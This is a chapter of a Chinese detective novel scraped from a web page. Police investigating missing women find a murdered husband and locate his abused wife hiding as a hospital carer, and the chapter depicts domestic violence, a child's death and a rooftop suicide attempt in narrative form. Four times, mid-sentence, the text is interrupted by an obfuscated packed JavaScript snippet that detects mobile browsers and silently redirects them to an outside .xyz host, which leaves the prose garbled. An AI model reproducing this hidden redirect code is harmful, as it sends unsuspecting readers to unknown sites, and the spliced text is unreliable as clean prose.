尹法医道:“虽然腐烂程度严重,但是目前没有发现明显的外伤,具体的还要看解剖结果。” 黎尚打过招呼,借用了里面的水池仔细洗过手。 到了这里,他之前的那种感觉全然褪去了。 中年男尸正躺在解剖床上,尸体身上的衣服被法医剥了下来,蛆虫早就已经对尸体进行过啃食,很多地方烂得出了洞。 黎尚屏住呼吸,与尸体对视。 在解剖室里比在野外看得真切多了。 他确认,这人正是他们正在寻找的郭木春。 贺临那边很快聊完了,过来拍了拍他的肩膀:“走吧,有结果会发给我们。” 黎尚嗯了一声,走了两步又回头看了一眼,随后加快脚步走了出去。 . 等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790085|156800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们从法医楼出来,已经过了早上七点,天空早已大亮,贺临问黎尚:“还回去睡觉吗?” 黎尚摇了摇头,早就睡意全无。 这时候再睡觉好像有点多余,特别是在这么一个刚刚接触过尸体的早晨。 贺临道:“那走吧,去买早点。” 市局的东南角有一条小巷子,早上有一些临街的摊位,有馄饨豆腐脑,两个人转了一圈,最后还是打算买回去吃,黎尚选了包子,贺临买了个鸡蛋灌饼。 最后一人又买了一杯热豆浆。 路上的人忙忙碌碌着,城市看上去无比的安宁,就是东南角出现了一丝丝的阴霾,天气预报说下午有雨。 早上的空气挺好,贺临把黎尚领上了顶楼的天台,这里视野开阔,很适合说话。 贺临两三口吃完了灌饼,侧头看见黎尚端着豆浆暖手,小口小口地吸着,喉结随着吞咽的动作上下起伏。 贺临像是被烫到眼睛似的,挪开了目光,假装很忙的样子找纸擦了擦手,不紧不慢地把豆浆盖子扎穿,镇定开口:“你以前见过尸体。” 黎尚咽下嘴里的豆浆才避重就轻地回答:“这种烂掉的是第一次。” 贺临问:“什么感觉,害怕吗?” 黎尚又喝了一口豆浆,神色平静而淡然,目光却有些深邃:“死人不可怕,活人才可怕。” “你刚才看了那尸体挺久,是有什么不对劲的地方吗?” “没有不对劲,有一种不真实感,那种感觉挺奇怪的,我还记得他的档案。”黎尚觉得很难准确描述。 贺临却说:“我明白,就像是一个有点熟悉的人,比如是多年未见的老邻居,忽然以尸体的形态,出现在了自己的面前,我明明看得到他,但他其实已经不在了。” 他的形容正好,黎尚嗯了一声:“贺队,这种情况你经历过很多次吧?” 贺临道:“我记得一个破过的案子,那是我第一次看到失踪者的尸体。” 他说到这里看向远方:“我到现在还记得案情,失踪的是个十五岁的女孩,是和家人一起旅游时失踪的,同行的有妈妈,继父,还有弟弟。后来我们审问了三天,真凶才招了。” “是那个继父有问题吗?” 贺临摇头:“是弟弟。”他顿了几秒道,“我们找了很久,后来在一个树洞里找到了她。尸体是爸爸藏的,妈妈也知道。” “还有一起案件,寻找的是一名女孩,父母一直以为她被拐卖,从未放弃过对她的寻找。直至八年后,我们在她必经之路的一处井盖下发现了她已经白骨化的尸体,头上还系着母亲给她买的蝴蝶结。” “人们一不小心就会弄丢自己的身份证,车钥匙,更别说更小的,笔,橡皮,皮筋儿,地球这么大,那些失踪者就是被命运弄丢了的人。” “这个世界太大了,一个人的身体又太过渺小,可能以各种形态藏匿在任何一个角落。” “这些丢掉的人,不论是谁,不论好坏,我们都需要千方百计地把他们找回来。” 贺临说到这里,喝完了豆浆,他低头把杯子按扁。 黎尚想了想:“我看到郭木春尸体的时候,脑子里出现了一句话,我找到他了,但没能把他活着带回来接受法律的制裁,他不该这么轻易地死在哪里,前尘往事一了百了。” “我好像又来晚了。” 贺临皱着眉并没有听懂黎尚语气里那股浓烈的悲伤:“是啊,寻找,直至找到他们,找到后面藏着的真相。” 黎尚听见了,又似乎没有,他低着头不知道在想什么。 直到贺临又开口叫他。 “不过我们来得并不算晚,给生者一个真相,给死者一个交代,这是我们的职责,是我们终身需要坚守的信念,只要信念还在,就永远都不晚。” 两个男人在天台上喝完豆浆,不知怎么就喝出了一起喝啤酒的惺惺相惜。 贺临侧头看向黎尚,他前两天受伤的伤口差不多愈合了,创可贴已经撕了下来,只剩下了一道细细的红线,横在白皙的脖颈间。 黎尚的眉眼太过干净,看起来总让人有种不真实感,带了这点伤,才更像是个有血有肉的人了。 看着他,贺临一时有点恍惚,好像这一幕在很久以前的过去曾经出现过。 15.12 朝阳万顷,微风肆意,两个人站在天台上,一时谁也没有说话。 过了一会,看了看时间,贺临把杯子扔进了一旁的垃圾桶,他拍了拍黎尚的肩膀:“这是你参与找到的第一个失踪者,值得纪念一下。” 黎尚道:“案子还没破,现在还需要再找到唐爱莲。” “说的没错,还需要查清究竟是谁杀了郭木春。查了一半的案子,我不喜欢让刑侦的再插手进来。”贺临迎着早上的太阳伸了个懒腰,“法医的验尸报告差不多该出来了。走吧,下楼开工。” 清晨的办公室里,快到上班时间,队里的人终于齐了。 由于案子有了进展,贺临进行新的调整:“根据嫌疑人的口供和尸检结果可以判断,郭木春的死亡时间预计是上个月二十九号的夜晚,八点到十二点之间。他的胃里有微量含有麻醉成分的牛奶,不过,这并不是他的死因。” 方觉皱眉:“那他是怎么死的?” 贺临答道:“中毒,法医在他的体内提取出了一种比较稀有的化学毒药,服用以后能够快速致人死亡。” 吴韵声听到这里总结了一下:“也就是说,那些牛奶大盗很可能无形之中成为了这一起案件的‘收尸人’。” 方觉挠了挠头:“真凶还是另有其人?除了喝了牛奶,他还喝了毒药?那凶手会是谁啊?” 现在没人能回答这个问题。 贺临转头问:“这两天,你们有没有找到其他线索?” 程笑衣掏出了一叠打印好的文件:“我最近在查红姐的个人信息,终于有了一些新的发现。我倒查了她三年的通话记录,发现她和唐爱莲还有刘予舒都进行过短暂的通话,时间就在这两人失踪前不久。” “平均每天万红都要接几十个电话,有工厂的,公司的,也有求职人的。” “外部可查的信息,那处门面房是她购买的,她名下有三套房产,公司的账目上有不少的资金,她出入于各种的工厂、公司,人脉很广。微信和支付宝上也有不少私账往来。” 贺临问:“老吴,你们那边呢?” 吴韵声道:“白天万红基本上都在店里,偶尔会去附近的工厂和人才市场看看。哦对了,她会去附近的花店买花,这几天就去了两次花店,她还会在网上订那家的花。我们去问过花店的老板,她是那里的常客,经常会给附近开业的新店送去花篮。我们还专门让那位老板拉了一下她的购买清单。” 看起来,这位红姐很忙,很有钱,也很会做人,她和那些店子处好关系,店铺就会照顾她的生意。 方觉有个疑问:“我有点奇怪,现在不都是互联网招聘了吗?为什么红姐的这家劳务介绍所看起来生意还挺好的。” 吴韵声倒是毫不见怪:“这你就不懂了,大公司也许要靠猎头和招聘网站,小公司,小店铺就需要几个人,不用那么麻烦。还有,有的工厂业务忙时需要临时工,没业务时就不需要那么多人了,只有这种小型劳务介绍所才能够灵活操作。” 他们在一旁讨论着,黎尚拿起了程笑衣和吴韵声那边整理出来的文件,一页一页仔细翻看着。 过了片刻,他开口说:“账目有些不对。” 贺临问:“怎么了?” 黎尚把发现问题的几处做了标记:“这些月的都有问题,有多笔支出,还有很多的不明进账。” 贺临猜测:“也许是代发的劳务费?” 吴韵声道:“我们查的都是明面上看到的,这些小老板肯定还有一些私下的收入,对不上不奇怪。” 方觉被他说服了,黎尚却轻轻摇头道:“她每个月都有几万块钱的稳定收益,不像是代发劳务的钱,金额太大了。” 贺临问:“房租和投资理财呢?” “扣除了。”黎尚沉默片刻道,“此外,我觉得除了一些灰色收入外,她应该还在参与非法借贷。把钱拆借之后,收取高额利息。” 贺临:“很有可能。” 黎尚又把花店的订单圈了几个圈:“还有,她经常会给这里送花。” 程笑衣扫了一眼,急忙去查,过了片刻搜出了结果:“这个地址是云城第一人民医院的住院部。” 吴韵声猜:“会不会有长辈在长期住院?” 程笑衣对照着清单分析:“给医院那边买的都是康乃馨,颜色有紫色,红色,还有粉色,买的最多的是名叫伊人的,白色的花瓣带着点粉边,基本上隔几天就买上十朵。买的最少的是紫色的野马……”说到这里,她的脑中灵光一闪,“这些花的颜色会不会有什么意义啊?” 她快速筛选了表格,把这个地址的订单都单独拎了出来,随后再对比日期和颜色。 几人都聚拢到了她的电脑前。 吴韵声皱眉:“单看表格好像看不出来什么规律。” “有规律。”贺临指着屏幕道,“是渐变色。每次都是伊人跳到紫色,随后紫色连接红色,红色连接粉色,粉色连接伊人,再周而复始。” 黎尚用笔勾了几下,于纸上划出了一条波线:“这像是一种预警信号,上个月的二十八号,二十九号连续买了两天紫红色的。” 那段时间是郭木春出事的时间。 贺临:“回头想办法证实一下这件事。现在没别的线索,这位红姐非常可疑,我们重点再跟一段这条线。”他说到这里稍稍停顿,又想起了什么,“我觉得,可以用郭木春的死,试试她。” 程笑衣拿出了纸笔:“怎么试?“ 贺临凝神思索了片刻:“你在上午的时候,给她打个电话,问她之前查询的唐爱莲和刘予舒的信息有没有结果。她一定会说没找到,如果她反向来套你的消息,你就假装不经意地告诉她,警方想要通知唐爱莲,她丈夫郭木春的死讯。如果她可以联系到唐爱莲请务必让她与警方联系。另外告诉万红,警方在查找唐爱莲的下落,并且已经有了一些眉目。” 程笑衣:“好,我等下就打。” 方觉好奇地问:“这么试能够试出什么结果?” “假设之前真的是她把那些女人藏起来了,目的只是为了不让女人们的丈夫找到她们,那现在唐爱莲的丈夫去世,她就没必要再瞒着警方,而且还会把这个消息告诉唐爱莲。”贺临继续推理,“如果万红没有联系唐爱莲,送去医院的花朵颜色又发生了变化,那就说明她在预警,她把警方的调查也视作了一种威胁。” 方觉恍然大悟。 贺临总结:“要是这样的话,她和凶案可能脱不了干系。” . 做好了工作安排,警员们各自忙碌。 贺临约了郭自应来认尸,又去法医那边开了个会。 等他回到了办公室,程笑衣的电话早就打过了。 黎尚走过来递给贺临一叠资料:“贺队,我看完了反扒那边的各种记录,然后发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14798485|156800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现了一些线索。” 贺临伸手接过厚厚的文件,上面用各种符号画出了重点。 黎尚道:“在这个盗窃团伙之中,他们每个人都认识万红,其中有一些人通过万红介绍过工作。还有,他们和万红一直有财务往来。有人曾向她借款。” 贺临略一思索:“如果万红是他们的消息来源……甚至是幕后之人。那么,这些人去郭木春的家中行窃,并且碰巧收尸,那就有可能不是偶然。” 线索逐渐收拢,似乎找到唐爱莲只剩了时间问题。 到了中午,老吴那边终于传来了花店的消息:“红姐又给医院定了一束紫色的康乃馨送过去!” 之前的猜想得到了证实,贺临给老吴发了个信息:“我这里会申请万红和唐爱莲的拘捕令,你等我的消息,等下把万红带过来问话。” 提交了手续,贺临起身招呼黎尚和程笑衣:“走吧,我们去人民医院看看。” . 过了中午,云层渐厚,太阳还挂在天上,天气却有点发闷,似乎随时都有可能降下雨来。 几辆警车来到了云城市第一人民医院。 这家医院位于整个城市的中心,院子里一共十几栋楼,比市局还要大。 贺临有备而来,早就和陈局长打过招呼,又带上了数名协警,保证警力充足。 他们几人来到住院部后,首先把楼下的几个出口都控制住了,协警们守在门口,所有人进出都要进行简单的问询。 贺临去见过住院部的领导,再从前台开始调查。 两名前台的小护士没有见过这种阵仗,有点慌慌张张的。她们一个劲儿地说自己刚来不久,不了解情况。 黎尚从包里取出失踪者的照片给她们辨认,小护士看起来都快哭了:“这里每天路过的病人、医生、护士、家属那么多,进进出出的得有上千人,我们也不可能每个都记得啊……” 程笑衣道:“你们再仔细看看,别紧张,我们只是问问情况。” 另一名护士看着那几张照片,忽然目光顿住,她拿起了其中的一张道:“这个人我好像见过……” 贺临和黎尚低头去看,她挑出的那张照片是郭木春的。 此时另外一名小护士也想了起来:“好像……是见过这个人。” 之前的那位小护士笃定道:“这个男人来过住院部,还闹事来着,说什么要找他的老婆。他还说,他老婆被人藏在这家医院里了,就在住院部。后来他被几名保安给架走了,我们领导说,如果再看到这个人,要马上报给保安队或者是报警处理。不过,他再也没有来过,就闹过那么一次。” 郭木春曾经和他父亲说自己快找到唐爱莲了,看起来,这话可能是真的。 贺临顺着问:“他有没有说过他老婆在哪个科室?” 小护士摇头:“如果知道具体的科室或者是床位号,那他就能找到人了。” 贺临又问:“事情发生那天是几号?” 护士翻了翻值班日志:“上个月的二十七号。” 也就是说,间隔了两天,郭木春就遇害了。 贺临看了看一旁的记录册,这边的餐饮和快递送上楼需要登记,他问:“鲜花送入你们有记录吗?有家花店经常送花过来,帮我们查查看具体是送到哪里的。” 小护士慌忙去翻记录册,过了片刻抬头回他:“十四楼,肿瘤重症科的前台。” 16.13 云城第一医院第十四层肿瘤科,走廊尽头的特需vip病房,1436。 唐爱莲穿了一身蓝色的衣服,坐在椅子上发着呆。 这种蓝衣服标示着她的身份,特护护工。她需要照顾那些没有家人的危重病人,有的病人无法自理,有的出入需要坐轮椅。 她们做的是最脏,最累的活。 二十四小时无休,吃住都在这里,需要时刻盯着病人的情况,给他们擦身、喂饭、翻身,随时观察他们的病情,不能玩手机,不能看书。 她们没有住所,就睡在病房里,偶尔有个空子,赶紧去洗手间洗个澡,再把自己替换的衣服用手洗了。 晚上她们睡的是窄小的陪床椅,几乎是刚睡着,又被病人唤醒,早上六点多就得起床,又是一天的活等着她们。 单人病房还好,有时候是两人间三人间,陪床家属的呼噜声震天,她们也得忍着,还不能塞耳塞,如果病人有需求,或者是有生命危险,她们没有及时起来,就会挨骂甚至是被辞退。 红姐会帮她们订好三餐,生活用品也会定时让人送过来。她偶尔会给她们一些现金,那些钱只能在医院里面的便利店卖点东西。 这样的生活自从她从家里逃走,已经过了两年。 现在她负责的病人在睡着,还有半瓶药水要输,衣服已经洗好,不到吃饭的时间,她可以稍微休息一会。 门外忽然传来了一阵嘈杂声,唐爱莲一哆嗦,敏锐地起身从门口往外张望。是家属来探望隔壁的病人了,拎着花篮和果篮。 唐爱莲松了口气,看着那一家人其乐融融,她忽然想到了自己死去的那两个孩子,如果他们还活着,大的应该有十几岁,小的也应该有几岁了。 她的心里一时酸酸的,那个大孩子死的时候都会叫妈妈了。 那是个周六的晚上,中午郭木春去应酬了一场,喝了不少酒,下午一直在睡觉。 她一边照顾孩子一边做饭,孩子弄洒了一瓶奶,她手忙脚乱地去拖地,就在这时候厨房的锅开了,她又跑去关了火。 当时她忙晕了,抱怨了郭木春两句,想让他帮帮自己,孩子跟着哭了起来。 就在这时,郭木春忽然暴起,他从床上一脚把孩子踹到了地上,她听到孩子的头磕到了地面,发出了咚的一声。 她惊叫一声,把孩子抱起来搂在了怀里。 男人面目狰狞,就像是凶神恶煞:“不许哭!”然后他用手指指着她,发出警告,“还有你!” 不知道是被吓到了还是伤到了,孩子果然不哭了。 她摸了摸孩子头后的包,不算大,她不敢提去医院的事,只能在心里默默祈祷着,希望孩子没事。 她提心吊胆着,随时关注着孩子的情况,看起来还好。 到了半夜,孩子忽然开始浑身抽搐,呕吐,翻白眼,眼看不行了。 “妈妈在,妈妈在,别怕,我们去医院……”她浑身颤抖着,哽咽着,抱紧孩子。 郭木春似乎也吓到了,跟着准备东西。 还没等他们出门,她就感觉到孩子的身体越来越凉。 她六神无主地哭了:“孩子,我的孩子……” 郭木春慌乱了一瞬,随后他反应了过来,男人用手掐住了她的喉咙:“我是有错,但是你也脱不开干系。不!你才是罪魁祸首!是你,都是你害死了他,如果你不说我,他不哭,我就不会打他。” “你要是敢报警,我就说孩子是你推下去的,是你这个当妈的没有看好他,你不信就试试,看看最后他们相信谁。只要我进监狱,就一定会拖着你一起去,这是意外,肯定判不了死刑,等我出狱,我就砍死你。” 他不停咒骂着,一双手越缩越紧,压得她透不过气来:“我今天就掐死你,然后再自己了结!” 她的脸上都是泪水,无法呼吸,感觉自己快要死了。 眼前都是黑的,她捶着压在她身上的男人,可却无法撼动他分毫,她感觉到了绝望。那时候她甚至想着是不是要一了百了,跟着孩子去了。 过了一会,郭木春的手稍微松了松,她大口喘息着。 男人又说:“这孩子是自己掉下去的,我们当时都不在旁边,事实就是这样。只要你和我的说法一致,就不会有人怀疑。” 他的声音逐渐软了下来:“我们还年轻,还可以再生一个,你要是同意,就点点头,我就放开你。” 求生的欲望占了上风,她下意识地点了点头。 等扣着喉咙的手松开,她又开始恨自己的软弱无能,恨自己当时为什么要叫郭木春过来帮忙,她哭到脱力,感觉自己真的成了帮凶,杀死了自己的儿子。 最终,她什么也没和别人说。 可她的苦难远未停止。 等她怀第二个孩子时,她做了一锅番茄鸡蛋汤,里面少放了点盐,郭木春对着她的肚子踹了两脚,那个孩子就掉了。 后来她也想清楚了,无论再怀多少个,再生几个,孩子也是养不大的,他们只会跟着她受苦,担惊受怕一辈子。 她试过眼不见心不烦,也试过吃斋念佛,可毕竟是生活在一起的夫妻,这些都没用。 她都四十多岁了,看他中午喝了酒,下午又要出去,她顺口问了一句:“你今天几点回来?” “轮不到你来管我。”郭木春又是忽然暴起,拿起厨房里的刀,往她的身上砍,她用手挡了一下,刀子就嵌在了骨头里,几乎把她的手掌给砍下来,她当时怕极了,踉跄地往门口逃,一边跑一边喊救命。 他先她一步反锁了门,她用血肉模糊的手掌绝望地拍着眼前的铁门。 男人拉起她的头发往门上磕:“我让你叫!” 拳打脚踢下,她的身体逐渐下滑。 那时候她躺在冰冷的地上,打定了一个主意,她要逃,她要离开这个男人的身边。 那是一个连亲生儿子都杀死了的畜生,毫无人性可言。 和他住在一起以后,她不知一共过了多少夜不能寐的夜晚。她也曾想过是否要在他熟睡时把他杀死。可是最终没能下得去手。 现在,她意识到,如果她留下来,到最后只有死路一条。 她想过好多的方法,逃到人生地不熟的外地去,或者是出家当尼姑,可是似乎都行不通。 最后,一位好心的居士阿姨给她介绍了红姐这里,她终于有了个安身之所。 可是,这里的生活也并不美好,时间像是没有了意义,只有黑夜和白天的不停轮转。 活动空间有限,终日劳作不能好好休息,惶惶不可终日,生活在恐慌和巨大的压力之下。 有时候她会感觉,她的生活像是在坐牢,被自己的人生判了无期徒刑。 想到了这里,唐爱莲忽然发现,自己已经泪流满面。她慌乱地擦去了眼角的泪水,揉了揉自己发疼的手掌。 她的伤口表面愈合了,可是那道深达骨头的伤痕还是让她的行动有些不便,每到大雨之前,她的手掌就会痛。 唐爱莲看了看时间,起身去外面接水。 路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14802591|156800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过护士台时,她看了一眼前台上摆的花,花又变成了紫色。 这是红姐定下来的规矩,这些花色代表着事态急缓,危险是否在临近她们。 最严重的是紫色,看到紫色的花,她们只能在这一楼层活动;看到红色的花,不能出住院部的大楼;看到粉色的花,能够稍微下楼透透气;只有看到伊人,能够在医院里自由活动。 这种情况以前就出现过,去年有位和她同样情况的女护工,她的老公住了院,红姐连续送了一周的紫色康乃馨,直到那男人出院,花才换成了红色。 上个月月底郭木春来过一次,那些花紫过两天,后来事情平息渐渐换了色。 今天不知道又怎么了,花的颜色又变成了紫色,不知这危急何时才能解除。 小刘也在接水,那是个腼腆的姑娘,她是所有护工里最年轻的一个,细皮嫩肉,没比那些小护士大几岁,她说起话来文质彬彬,一看就是读过大学的,可没想到年纪轻轻也到了这里。 小刘显然也看到了紫色的花,她的脸色不好,有着大大的黑眼圈,眉头也一直紧皱着。暖壶里的水还没接满,护士就跑来:“小刘,你床的病人又吐了,快去收拾一下。” 小刘手忙脚乱的,差点烫到自己。 唐爱莲见状接过了她手里的壶:“我来吧,等下我给你送过去。” 小刘对她道谢:“谢谢唐姨。” 是的,唐姨。 唐爱莲苦笑一下。 在这里,因为怕被人问到,除了被雇佣时给主顾出示一下身份证复印件,她们都不说自己叫什么。唐姨,小刘,就变成了她们的名字。 唐爱莲刚把两壶水送回两个病房,电梯厅那边就起了一阵骚动。她听到了声音,略微一惊,下意识地关上了病房的门。 唐爱莲背靠着墙,心砰砰直跳,身体在微微发抖。 她有种预感,这次可能是冲着她来的。 女人的全身都在无法抑制地发抖。 果然,没过两分钟,护士来敲门叫她,:“唐姨,你出来一下。” . 贺临带着黎尚和程笑衣来到了病房的门口。 他看到一位穿着蓝色护工服的中年女人一点一点移着脚步,来到了门外,她的眼神里满是惶恐。 至此,他们终于找到了这一案之中的另外一位失踪者——唐爱莲。 . 医院的走廊里,贺临亮出了自己的证件:“你好,请问是唐爱莲吗?” 黎尚拿出纸笔,在一旁记录。 唐爱莲挽了下头发:“我是……” “我是云城市局失踪调查科的队长贺临。两年前,你的丈夫郭木春报案了你的失踪,警方一直在寻找你。”贺临略微顿了一下,“郭木春,他近期去世了。” “去……去世了?”唐爱莲捂住嘴,整个人都在颤抖,像是想要哭又哭不出来。 贺临一眼判断出,这是装出来的悲伤,她的眼睛往左移动了一下,并没有常人亲人去世的悲痛。她的反应也不够惊讶,恐惧盖过了一切,那应该是因为警方来到这里问话而产生的。 挤不出来眼泪,唐爱莲放弃了,她甚至想要笑,拼命压着自己的嘴角才能够做到没有表情。 她问:“他……他是怎么死的?” 唐爱莲的声音很小,结结巴巴的,像是好久没有和人正常交流过了。 贺临的回答礼貌,公事公办:“牵扯到刑事案件,请你配合警方的工作,去市局接受问询。稍后我们会调查清楚。” 17.14 住院部的走廊里。 唐爱莲的肩膀瑟缩,像是一只一直躲在暗处,被人类发现了的小老鼠:“好……好吧,不过我要收拾下东西。” 贺临道:“只能带必要的药物和外衣,不能携带手机、电子品。”他顿了一下说,“配合调查以后,如果没有问题你可以尽快回来。” 目前,唐爱莲是杀害郭木春的嫌疑人之一,在审问前要小心看护,防止逃跑或者是自杀、行凶等行为的发生。 唐爱莲明白了他的意思,她低头想了片刻道:“那算了,我也没什么可带的。” 程笑衣进入洗手间,给她搜了身。 他们准备离开,刚出了两步,唐爱莲又停住了:“我可以和我的主顾说一声吗?我不能就这么和你们走了,不打招呼就把她一个人丢下。” 贺临轻轻点了一下头,让开了门让她进去。 唐爱莲刚推门进入,里面就传来了一阵骂声,原本躺着的女人坐了起来:“吵什么?大下午的,还让不让人睡觉了?不知道我快要做手术了吗?” 贺临通过门缝往里看,躺在床上的是一位上了岁数的枯瘦女人,头发全白,非常凌乱,看起来已经病入膏肓。 唐爱莲的眼圈红了:“我有事要走了,和您说一声。” 老人皱眉打断了她的话:“我才不管是什么原因,你给我的服务时间还没到呢!难道又要给我换护工?你这是违约,必须赔我!” 唐爱莲道:“我丈夫去世了,我要去配合警方的调查,你可以让他们帮你……” 她的话还没说完,一团用过的纸巾扔了过来,打在了唐爱莲的头上。里面的秽物沾到了她的头发,唐爱莲的脸色苍白,眼泪在眼眶里打转。 贺临觉得这病人有点过了,他把唐爱莲往后拉了拉,挡在了她的身前。 看到有人撑腰,老人这才作罢,气呼呼地望了她一眼,骂骂咧咧道:“滚滚滚,尾款就别想结了,我的钱不是那么好挣的。” “对不起。”唐爱莲对她鞠了一躬,她的目光暗淡,低头抹了眼泪,跟着贺临走出去。 程笑衣帮着女人擦头上的东西:“太过分了,这里的病人都这么不讲道理吗?” 唐爱莲已经习以为常,显然经常遭遇到这些,她低头道:“他们身体不好,连带着心情不好。” 贺临没给唐爱莲上手铐,他回身,发现刚才一直跟在他身后做着记录的黎尚不知何时不见了踪影。 贺临的眉头微皱,正准备问下,就见一名小护士慌慌张张地跑了过来:“队长,有位护工上了平台,像是要跳楼。你同事跟上去了,你快过去看下……” 贺临急忙让程笑衣和协警看好唐爱莲,跟着护士往十四层的天台跑去。 天台就在这间病房的旁边。 十四层是住院部的次顶楼,为了晾晒衣服和床单,有个不大的小天台,天台周围围了一圈半人多高的护栏。 贺临跑过去,就见一名穿着蓝色衣服的年轻女护工已经站在了护栏外,而黎尚就在距离她几米处。 那个女人,就是他们之前也在案卷上看到过的刘予舒。 . 几分钟以前,黎尚跟着贺临上楼,他们顺利找到了唐爱莲,进行完问话。 随后,黎尚就看到了人群之中躲躲闪闪的刘予舒。她的神色有些异常,黎尚眉头微皱,跟着她往前走去。 刘予舒径直走到了天台上,摇摇晃晃却毫不犹豫地往护栏边走去,然后她就翻过了护栏,颤巍巍站在了上面。 黎尚的心跳加速,叫住了她:“刘予舒!你要干什么?” 刘予舒侧头看向他:“你们是来带走我们的吧?” 黎尚马上明白过来:“不,不是,我们不是来找你的。” “骗人,那你怎么知道我的名字。”刘予舒的眼睛睁大了,眼眶红红的,“我看到了,花是紫的。就算这次不是,下次也会是,总是有人来找我们,想要把我们带回去!” 她每天早上惊醒后的第一件事,就是去看前台的花,红色,紫色…… 那些花就像是刺入她胸口里的针,让她不可抑止地发抖。 黎尚一向处事不惊,可是看到面前随时有可能坠落的女人,他有点慌了:“我们不会告诉任何人你的下落。你很安全,我们也不会送你回家。” “你骗人,当初他和我说得好好的,骗子都是骗子。”刘予舒的胸口起伏着,“如果……如果我回去,我不被他打死,就会做出杀人的行为来!” 她已经被逼入了绝境。 她的婚姻成为了她竭尽全力也无法挣脱的噩梦。她还不到三十岁,黑眼圈,粗糙的手,头发一把一把地掉,有时候她怀疑,她会死在随便哪里。 黎尚的眉头微皱,他看得出,女人的神经早就已经无比敏锐,精神也处在崩溃的边缘。 她这些日子一定过得很辛苦,那些繁重的照顾病人的工作,夜不能寐的夜晚,还有随时会被丈夫找到的恐惧,化成了重物,压得她透不过气来。 警方的行动成为了压垮她的最后一根稻草。 黎尚观察了一下四周,脑中飞速回忆着档案里这个女人的生平,试图从中找到可以安慰她的细节,他拼命地思考着,要怎么才能够把她劝下来。 可惜黎尚并不是一个有着丰富情感经历的人,长期用理性主导行为的他,一时间居然无法从那些资料里找到能让刘予舒冷静的理由。 果然,过于理性的人无法在这种时候给感性的人提供帮助。沉默了片刻,黎尚只好尽力地转移她的注意力:“你别冲动!“ 刘予舒低头往下看去,楼下每一个进进出出的人都让她羡慕不已,他们都有自己的人生,可她呢?永远都不可能有了。 “这样担惊受怕,生不如死的日子,我过够了!” 女人的脸色苍白,她想象着自己坠落下去的样子,也许会四分五裂,鲜血飞溅,可她的心里却有个声音,那不是最坏的结果,跳下去吧,跳下去你就自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14807306|156800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 由了。 比起死亡,那些随时随地呼上来的巴掌,狠狠踹在她肚子上的脚,不停贬损她的话语,才更让她恐惧。即便是逃离了那个地狱,她却依旧无法摆脱那种如影随形的恐惧,强烈的痛苦一直伴随她至今,哪怕午夜梦回也令她痛得胆战心惊,恨得撕心裂肺。 没有什么是比死亡更好的解脱了。 刘予舒张开双臂,探出了一只脚,试图拥抱她的自由。 那个瞬间,黎尚站在离她不远处,已经做好了准备。 他的肌肉紧绷,神情紧张,如果女人再往前挪动,他就会全力地冲过去,这样的距离以他现在的体力,没有十足的把握,但是眼下,他也没有更好的解决方案,只能拼一次,决不能让她掉下去! 正是焦灼之时,贺临和护士跑了上来。 看到贺临的瞬间,黎尚悬着的心落下了几分,紧绷到微微痉挛的肌肉也开始放松下来。 贺临站在他面前的瞬间,让他有种感觉,贺临一定可以有办法,他能把女人救下来。 贺临并没有和刘予舒废话的意思,甚至并没有因为她的一只脚已经探出去而感到丝毫的紧张,他径直走过去,直接伸出手,动作绅士又温柔,但嘴里说出的话带着不容拒绝的严厉:“你快下来。” 看女人的身形未动,他道:“没人要抓你,你丈夫也不知道你在这里。但是如果再僵持下去,事情闹大了,他就能找到你了!” 贺临的话说完,刘予舒的脸色变了,身体也跟着一抖,看得黎尚都为她和贺临捏了把汗。 但是刘予舒反而稳住了,另一个念头顿时在她的心中升起:我决不能让他找到我,人不可以,尸体也不行! 她不怕死,可是在她的心里,那个男人是比死亡还要令她恐惧的存在。 